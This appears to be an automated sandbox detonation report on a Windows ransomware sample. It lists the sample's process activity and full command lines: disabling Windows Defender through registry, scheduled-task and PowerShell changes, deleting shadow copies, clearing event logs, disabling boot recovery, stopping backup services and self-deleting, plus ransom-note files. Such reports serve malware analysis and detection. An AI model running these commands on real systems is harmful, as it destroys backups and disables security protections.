Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\wmic.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\wmic.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 956 wrote to memory of 520 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 956 wrote to memory of 520 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 956 wrote to memory of 520 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 520 wrote to memory of 524 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 520 wrote to memory of 524 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 520 wrote to memory of 524 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 956 wrote to memory of 360 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 956 wrote to memory of 360 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 956 wrote to memory of 360 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 360 wrote to memory of 1360 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 360 wrote to memory of 1360 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 360 wrote to memory of 1360 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 956 wrote to memory of 640 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 956 wrote to memory of 640 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 956 wrote to memory of 640 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 640 wrote to memory of 1356 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 640 wrote to memory of 1356 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 640 wrote to memory of 1356 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 956 wrote to memory of 328 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 956 wrote to memory of 328 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 956 wrote to memory of 328 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 328 wrote to memory of 1684 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 328 wrote to memory of 1684 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 328 wrote to memory of 1684 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 956 wrote to memory of 1792 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 956 wrote to memory of 1792 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 956 wrote to memory of 1792 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 1792 wrote to memory of 1620 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1792 wrote to memory of 1620 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1792 wrote to memory of 1620 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 956 wrote to memory of 1828 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 956 wrote to memory of 1828 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 956 wrote to memory of 1828 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 1828 wrote to memory of 1056 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1828 wrote to memory of 1056 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1828 wrote to memory of 1056 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 956 wrote to memory of 896 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 956 wrote to memory of 896 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 956 wrote to memory of 896 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 896 wrote to memory of 1484 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 896 wrote to memory of 1484 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 896 wrote to memory of 1484 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 956 wrote to memory of 1524 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 956 wrote to memory of 1524 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 956 wrote to memory of 1524 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\net.exe
PID 1524 wrote to memory of 1392 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1524 wrote to memory of 1392 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1524 wrote to memory of 1392 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 956 wrote to memory of 1452 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\sc.exe
PID 956 wrote to memory of 1452 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\sc.exe
PID 956 wrote to memory of 1452 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\sc.exe
PID 956 wrote to memory of 1200 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\sc.exe
PID 956 wrote to memory of 1200 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\sc.exe
PID 956 wrote to memory of 1200 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\sc.exe
PID 956 wrote to memory of 1900 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\sc.exe
PID 956 wrote to memory of 1900 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\sc.exe
PID 956 wrote to memory of 1900 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\sc.exe
PID 956 wrote to memory of 1716 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\sc.exe
PID 956 wrote to memory of 1716 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\sc.exe
PID 956 wrote to memory of 1716 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\sc.exe
PID 956 wrote to memory of 852 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\sc.exe
PID 956 wrote to memory of 852 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\sc.exe
PID 956 wrote to memory of 852 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\sc.exe
PID 956 wrote to memory of 1708 N/A C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe C:\Windows\system32\sc.exe

Processes

C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe

"C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe"

C:\Windows\system32\net.exe

net.exe stop "NetMsmqActivator" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "NetMsmqActivator" /y

C:\Windows\system32\net.exe

net.exe stop "SamSs" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SamSs" /y

C:\Windows\system32\net.exe

net.exe stop "SDRSVC" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SDRSVC" /y

C:\Windows\system32\net.exe

net.exe stop "SstpSvc" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "SstpSvc" /y

C:\Windows\system32\net.exe

net.exe stop "UI0Detect" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "UI0Detect" /y

C:\Windows\system32\net.exe

net.exe stop "VSS" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "VSS" /y

C:\Windows\system32\net.exe

net.exe stop "wbengine" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "wbengine" /y

C:\Windows\system32\net.exe

net.exe stop "WebClient" /y

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "WebClient" /y

C:\Windows\system32\sc.exe

sc.exe config "NetMsmqActivator" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "SamSs" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "SDRSVC" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "SstpSvc" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "UI0Detect" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "VSS" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "wbengine" start= disabled

C:\Windows\system32\sc.exe

sc.exe config "WebClient" start= disabled

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable

C:\Windows\system32\schtasks.exe

schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable

C:\Windows\system32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\system32\reg.exe

reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\reg.exe

reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

C:\Windows\system32\vssadmin.exe

vssadmin.exe delete shadows /all /quiet

C:\Windows\system32\wevtutil.exe

wevtutil.exe cl system

C:\Windows\system32\wevtutil.exe

wevtutil.exe cl security

C:\Windows\system32\wevtutil.exe

wevtutil.exe cl application

C:\Windows\System32\Wbem\wmic.exe

wmic.exe SHADOWCOPY /nointeractive

C:\Windows\System32\Wbem\wmic.exe

wmic.exe shadowcopy delete

C:\Windows\system32\bcdedit.exe

bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

C:\Windows\system32\bcdedit.exe

bcdedit.exe /set {default} recoveryenabled no

C:\Windows\system32\cmd.exe

cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Program Files\Windows Defender\MpCmdRun.exe

"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

C:\Windows\system32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIOAVProtection $true

C:\Windows\system32\cmd.exe

cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableRealtimeMonitoring $true

C:\Windows\system32\NOTEPAD.EXE

"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\6yLH_HOW_TO_DECRYPT.txt

C:\Windows\system32\notepad.exe

notepad.exe C:\6yLH_HOW_TO_DECRYPT.txt

C:\Windows\system32\cmd.exe

cmd.exe /D /C ping.exe -n 5 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe"

C:\Windows\system32\PING.EXE

ping.exe -n 5 127.0.0.1

Network

N/A

Files

memory/520-55-0x0000000000000000-mapping.dmp

memory/524-56-0x0000000000000000-mapping.dmp

memory/360-57-0x0000000000000000-mapping.dmp

memory/1360-58-0x0000000000000000-mapping.dmp

memory/640-59-0x0000000000000000-mapping.dmp

memory/1356-60-0x0000000000000000-mapping.dmp

memory/328-61-0x0000000000000000-mapping.dmp

memory/1684-62-0x0000000000000000-mapping.dmp

memory/1792-63-0x0000000000000000-mapping.dmp

memory/1620-64-0x0000000000000000-mapping.dmp

memory/1828-65-0x0000000000000000-mapping.dmp

memory/1056-66-0x0000000000000000-mapping.dmp

memory/896-67-0x0000000000000000-mapping.dmp

memory/1484-68-0x0000000000000000-mapping.dmp

memory/1524-69-0x0000000000000000-mapping.dmp

memory/1392-70-0x0000000000000000-mapping.dmp

memory/1452-71-0x0000000000000000-mapping.dmp

memory/1200-72-0x0000000000000000-mapping.dmp

memory/1900-73-0x0000000000000000-mapping.dmp

memory/1716-74-0x0000000000000000-mapping.dmp

memory/852-75-0x0000000000000000-mapping.dmp

memory/1708-76-0x0000000000000000-mapping.dmp

memory/1888-77-0x0000000000000000-mapping.dmp

memory/952-78-0x0000000000000000-mapping.dmp

memory/1076-79-0x0000000000000000-mapping.dmp

memory/1564-80-0x0000000000000000-mapping.dmp

memory/1560-81-0x0000000000000000-mapping.dmp

memory/524-82-0x0000000000000000-mapping.dmp

memory/568-83-0x0000000000000000-mapping.dmp

memory/1108-84-0x0000000000000000-mapping.dmp

memory/1456-85-0x0000000000000000-mapping.dmp

memory/2008-86-0x0000000000000000-mapping.dmp

memory/416-87-0x0000000000000000-mapping.dmp

memory/1632-88-0x0000000000000000-mapping.dmp

memory/1484-89-0x0000000000000000-mapping.dmp

memory/788-90-0x0000000000000000-mapping.dmp

memory/1176-91-0x0000000000000000-mapping.dmp

memory/1824-92-0x0000000000000000-mapping.dmp

memory/1756-93-0x0000000000000000-mapping.dmp

memory/1124-94-0x0000000000000000-mapping.dmp

memory/1588-95-0x0000000000000000-mapping.dmp

memory/776-96-0x0000000000000000-mapping.dmp

memory/1156-97-0x0000000000000000-mapping.dmp

memory/612-98-0x0000000000000000-mapping.dmp

memory/1628-99-0x0000000000000000-mapping.dmp

memory/1340-100-0x0000000000000000-mapping.dmp

memory/1548-101-0x0000000000000000-mapping.dmp

memory/792-102-0x0000000000000000-mapping.dmp

memory/1760-103-0x0000000000000000-mapping.dmp

memory/1720-104-0x0000000000000000-mapping.dmp

memory/948-105-0x0000000000000000-mapping.dmp

memory/1356-106-0x0000000000000000-mapping.dmp

memory/1620-107-0x0000000000000000-mapping.dmp

memory/1280-108-0x0000000000000000-mapping.dmp

memory/1500-109-0x0000000000000000-mapping.dmp

memory/1712-110-0x0000000000000000-mapping.dmp

memory/1568-111-0x0000000000000000-mapping.dmp

memory/1364-112-0x0000000000000000-mapping.dmp

memory/1252-113-0x0000000000000000-mapping.dmp

memory/1252-114-0x000007FEFC241000-0x000007FEFC243000-memory.dmp

memory/1736-115-0x0000000000000000-mapping.dmp

memory/1624-117-0x0000000000000000-mapping.dmp

memory/1436-119-0x0000000000000000-mapping.dmp

memory/2036-120-0x0000000000000000-mapping.dmp

memory/2068-121-0x0000000000000000-mapping.dmp

memory/2164-123-0x000007FEF34A0000-0x000007FEF3FFD000-memory.dmp

memory/2164-124-0x0000000002860000-0x0000000002862000-memory.dmp

memory/2164-125-0x0000000002862000-0x0000000002864000-memory.dmp

memory/2164-126-0x0000000002864000-0x0000000002867000-memory.dmp

memory/2164-127-0x000000001B7C0000-0x000000001BABF000-memory.dmp

memory/2164-128-0x000000000286B000-0x000000000288A000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 20eea20e9ffaa244927f1a6506015b2d
SHA1 8f40fc913260aeb095ace6596c49c82ae5eef548
SHA256 e27bef4162322b4a5d34b94de87eae267051d12c017d384e3ce8dd347104ddcf
SHA512 2a4fc2f5ec7e09b9c26bd0fbdb57786e1b5aa1429248096d02fed5e1760e7053cc71b9b075ea6f46f19bdff6427d1783d94b5f29b5f5699a342ad742b9cb41b3

memory/2256-131-0x000007FEF2B00000-0x000007FEF365D000-memory.dmp

memory/2256-132-0x0000000002850000-0x0000000002852000-memory.dmp

memory/2256-133-0x000000001B780000-0x000000001BA7F000-memory.dmp

memory/2256-136-0x0000000002854000-0x0000000002857000-memory.dmp

memory/2256-135-0x000000000285B000-0x000000000287A000-memory.dmp

memory/2256-134-0x0000000002852000-0x0000000002854000-memory.dmp

C:\Users\Admin\Desktop\6yLH_HOW_TO_DECRYPT.txt

MD5 eed3865ebc71f306e1651da3407fc73a
SHA1 1dc3f104fc72da512594cc6018126230dd5fc6e8
SHA256 81dfe2209a999b7bcd8aa649087a9367c05a1bbabc0953c79369d49fb5803f43
SHA512 fb249862eb4077d47e7e79572c1d2a66adb9fd6f49957fd5c08155c90fa74c4a3f62bcdb16487bc5c724c3de5000ec2ddda703abc53eed1b7a5c7d0ccc2d16a9

C:\6yLH_HOW_TO_DECRYPT.txt

MD5 eed3865ebc71f306e1651da3407fc73a
SHA1 1dc3f104fc72da512594cc6018126230dd5fc6e8
SHA256 81dfe2209a999b7bcd8aa649087a9367c05a1bbabc0953c79369d49fb5803f43
SHA512 fb249862eb4077d47e7e79572c1d2a66adb9fd6f49957fd5c08155c90fa74c4a3f62bcdb16487bc5c724c3de5000ec2ddda703abc53eed1b7a5c7d0ccc2d16a9

Analysis: behavioral2

Detonation Overview

Submitted

2022-01-12 19:42

Reported

2022-01-12 19:48

Platform

win10-en-20211208

Max time kernel

37s

Max time network

151s

Command Line

"C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe"

Signatures

Deletes Windows Defender Definitions

evasion
Description Indicator Process Target
N/A N/A C:\Program Files\Windows Defender\MpCmdRun.exe N/A

Modifies Windows Defender Real-time Protection settings

evasion trojan

Modifies security service

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\WinDefend\Start = "4" C:\Windows\SYSTEM32\reg.exe N/A

Clears Windows event logs

evasion ransomware

Deletes shadow copies

ransomware

Modifies boot configuration data using bcdedit

ransomware evasion
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\bcdedit.exe N/A
N/A N/A C:\Windows\SYSTEM32\bcdedit.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsCamera_2017.125.40.0_x64__8wekyb3d8bbwe\Assets\WindowsIcons\WindowsCameraAppList.targetsize-32.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.WindowsSoundRecorder_10.1702.301.0_x64__8wekyb3d8bbwe\Assets\VoiceRecorderAppList.targetsize-80.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Java\jdk1.8.0_66\lib\visualvm\profiler\.lastModified.teq__qPGXvurY95OdN96HYu83yb49Ywc6eQ51JxWngn_N9z4ajz_zeI0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\VideoLAN\VLC\locale\el\LC_MESSAGES\vlc.mo.teq__qPGXvurY95OdN96HYu83yb49Ywc6eQ51JxWngn_5ZiexqyxVYY0.qyxdq C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\Icons\icon_hint.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\WindowsApps\Microsoft.MicrosoftSolitaireCollection_3.14.1181.0_x64__8wekyb3d8bbwe\Assets\ThemeCreation\Rename.png C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
File opened for modification C:\Program Files\Internet Explorer\en-US\iexplore.exe.mui C:\Users\Admin\AppData\Local\Temp\585900f8de74f4be48011f47c91373a7a4bb97bfc2324144b61e4f4fa8ef4aa5.exe N/A
